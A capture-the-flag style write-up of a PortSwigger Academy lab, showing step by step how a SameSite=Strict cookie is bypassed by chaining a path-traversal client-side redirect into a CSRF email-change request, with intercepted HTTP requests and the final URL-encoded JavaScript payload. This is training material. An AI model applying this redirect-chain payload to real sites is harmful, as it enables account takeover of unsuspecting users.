| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — SameSite Strict Bypass via Open Redirect |
| Difficulty | Practitioner |
| Target | 0a7e003b036e75ba803a267d00f10051.web-security-academy.net |
| Objective | Bypass SameSite Strict and change the victim's email address |
SameSite Strict Bypass via Client-Side Redirect — Writeup¶
Reconnaissance¶
Initial Observation¶
Logged in as wiener:peter. Intercepting the email change request:
POST /my-account/change-email HTTP/2
Host: 0a7e003b036e75ba803a267d00f10051.web-security-academy.net
Cookie: session=ZjvoCSDy6RTHfKZfQ6bTpjzYTMNvgVWj
[email protected]&submit=1
No CSRF token. Testing a GET override:
GET /my-account/[email protected]&submit=1 HTTP/2
Cookie: session=ZjvoCSDy6RTHfKZfQ6bTpjzYTMNvgVWj
302 Found → follow redirect → 200 OK → email changed.
The endpoint accepts GET and processes the email change. The obvious next step is a location redirect from the exploit server.
Web — SameSite Strict Cookie Analysis¶
Hosting a simple redirect on the exploit server:
<script>
location="https://0a7e003b036e75ba803a267d00f10051.web-security-academy.net/my-account/[email protected]&submit=1"
</script>
Visiting it as wiener redirects to the login page instead of changing the email.
Intercepting the redirect confirms the reason — the session cookie has SameSite=Strict:
HTTP/2 302 Found
Location: /login
Set-Cookie: session=nYJyplShRFkzLnIxGIaG67DiQi9AZKty; Secure; HttpOnly; SameSite=Strict
SameSite=Strict means the session cookie is never included in any cross-site request — not even top-level GET navigations. Coming from the exploit server domain, the browser strips the cookie entirely. The request arrives without a session and gets bounced to /login.
The only way through is to make the navigation happen entirely within the target domain.
Web — Comment Confirmation Redirect¶
The blog has a comment functionality. Leaving a comment and checking Burp's history:
POST /post/comment HTTP/2
Cookie: session=2fdgMYYboVolDFo5kHrXEDypS6teRMEJ
postId=8&comment=teto&name=teto&email=teto%40teto.com&website=https%3A%2F%2Fteto.com
Response redirects to /post/comment/confirmation?postId=8.
That confirmation page loads a script:
<script src='/resources/js/commentConfirmationRedirect.js'>
Fetching that script:
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
The script reads postId from the URL and appends it to blogPath — constructing the redirect destination client-side with no sanitization. Testing with an arbitrary value:
/post/comment/confirmation?postId=teto
→ window.location = ".../post/teto"
404, as expected. But the redirect is happening — and the postId value is unsanitized. Testing path traversal:
/post/comment/confirmation?postId=../my-account/
→ window.location = ".../post/../my-account/"
→ resolves to ".../my-account/"
Redirected to /my-account/ with the session cookie intact — because the entire navigation stayed within the target domain. SameSite Strict only restricts cross-site requests; same-site redirects carry cookies normally.
Attack Path¶
Exploit — Same-Site Redirect Chain¶
The attack chain: exploit server sends the victim to the confirmation page on the target domain → the confirmation page's JS redirects them within the same domain to the email change endpoint → GET request carries the session cookie → email changes.
First attempt without encoding:
<script>
location="https://0a7e003b036e75ba803a267d00f10051.web-security-academy.net/post/comment/confirmation?postId=../my-account/[email protected]&submit=1";
</script>
Fails — submit is missing because the & breaks the postId parameter before the redirect is constructed. URL-encoding the injected path:
<script>
location="https://0a7e003b036e75ba803a267d00f10051.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%[email protected]%26submit=1";
</script>
%3f encodes ? and %26 encodes &, so the full query string is treated as part of the postId value and passed through to window.location intact. The constructed URL becomes:
/post/../my-account/[email protected]&submit=1
Which resolves to the email change endpoint with all parameters intact. Lab solved :P
Resources¶
- PortSwigger — Bypassing SameSite cookie restrictions
- PortSwigger — CSRF
- MDN — SameSite cookies
- Burp Suite Professional — request interception, URL encoding, Repeater